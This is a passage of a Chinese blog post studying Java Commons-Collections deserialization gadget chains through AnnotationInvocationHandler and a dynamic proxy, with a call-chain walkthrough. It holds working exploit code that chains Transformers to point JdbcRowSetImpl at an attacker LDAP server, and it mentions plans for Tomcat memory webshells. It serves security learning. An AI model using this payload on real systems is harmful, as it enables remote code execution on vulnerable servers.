at java.util.Hashtable.reconstitutionPut(Hashtable.java:1221)
at java.util.Hashtable.readObject(Hashtable.java:1195)

这个利用链似乎有点绕,但多看看源码和利用代码,还是比较容易理解的

AnnotationInvocationHandlerCC

这个利用链,主要是用到了AnnotationInvocationHandler类,它继承了InvocationHandler和Serializable,并且还重写了readObject方法。

先来看看继承InvocationHandler代表什么含义:在java中提供了一种动态代理创建对象的方式,也就是Proxy.newProxyInstance()方法,这个方法需要三个参数

  • classLoader
  • 被创建类实现的所有接口
  • InvocationHandler实例

被动态代理创建的对象,调用任意方法时,都会先调用代理类,也就是InvocationHandler实例的invoke方法,可以参照栗子

那么回到AnnotationInvocationHandler,看看它的readObject方法和invoke方法

public Object invoke(Object var1, Method var2, Object[] var3) {
    //有点长,省略一些不太相关代码,想详细看的话,可以直接看看源码
    switch(var7) {
        case 0:
            return this.toStringImpl();
        case 1:
            return this.hashCodeImpl();
        case 2:
            return this.type;
        default:
            Object var6 = this.memberValues.get(var4);  // 注意这里,调用了this.memberValues.get()
            // 省略后方代码
    }
}
// readObject方法
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();  // 关键在于这个this.memberValues.entrySet()
		// 后面的代码省略
}

// 构造函数
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    Class[] var3 = var1.getInterfaces();
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
        this.type = var1;
        this.memberValues = var2; // 注意这里this.memberValues就是传进去的map实例
    } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    }
}

可以看到readObject方法中调用了this.memberValues.entrySet(),想象一下,如果这个this.memberValues是被动态代理创建的,那是不是就会进入代理类的invoke函数,而代理类又是AnnotationInvocationHandler,那就会调用上面的invoke方法,进而调用代理类内部map的get方法(也就是this.memberValues.get(var4)这一行),而代理类的memberValues=lazyMap的话,直接就形成利用链了。来看看利用代码:

String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

Transformer transformer[] = {
    new ConstantTransformer(jdbcRowSet),
    new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
    new ConstantTransformer(jdbcRowSet),
    new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);

// 获取构造函数
Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

// 创建代理类
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
// 动态代理,创建lazyMap实例
Map map1 = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationHandler);
// 创建被反序列化的AnnotationInvocationHandler类
Object aa =  constructor.newInstance(Override.class, map1);

// 本地写文件
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(aa);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();

这里可能也会有点绕,所以将真正反序列化执行AnnotationInvocationHandler.readObject方法的实例命名为aa,当aa.readObject执行后,会调用aa.memberValues.entrySet(),也就是map1.entrySet(),由于map1是被代理类invocationHandler动态创建的,所以执行map1.entrySet的时候,会进入invocationHandler.invoke(),而invoke方法中存在this.memberValues.get(var4),这里就是代理类invocationHandler.memberValues.get(),代理类invocationHandler的memberValues就是一个lazyMap,所以成功到达ChainedTransformer!调用链如下

AnnotationInvocationHandler.readObject
	memberValues.entrySet() 由于memberValues是被动态代理的,所以调用代理类的invoke方法,而代理类也是一个AnnotationInvocationHandler类
		AnnotationInvocationHandler.invoke()
			AnnotationInvocationHandler.memberValues.get(xx) <=> lazyMap.get 代理类的memberValues是一个lazyMap
				ChainedTransformer.transform(xx)

3 总结

因为面试和项目这个总结性的文章写的思路有一些断。学习过程中看过CC链中涉及到的源码后,不得不佩服ysoserial原作者的代码功底,tql!!ysoserial还有一些其它链,之后再研究研究。下一篇想写一个在shiro回显研究上看到的tomca 6 7 8 9全版本获取request的方法,试试能不能拿来做tomcat全版本的内存马

参考

https://xz.aliyun.com/t/9451

https://xz.aliyun.com/t/8164

https://github.com/frohoff/ysoserial


程序员灯塔
转载请注明原文链接:commons-collections利用链学习总结
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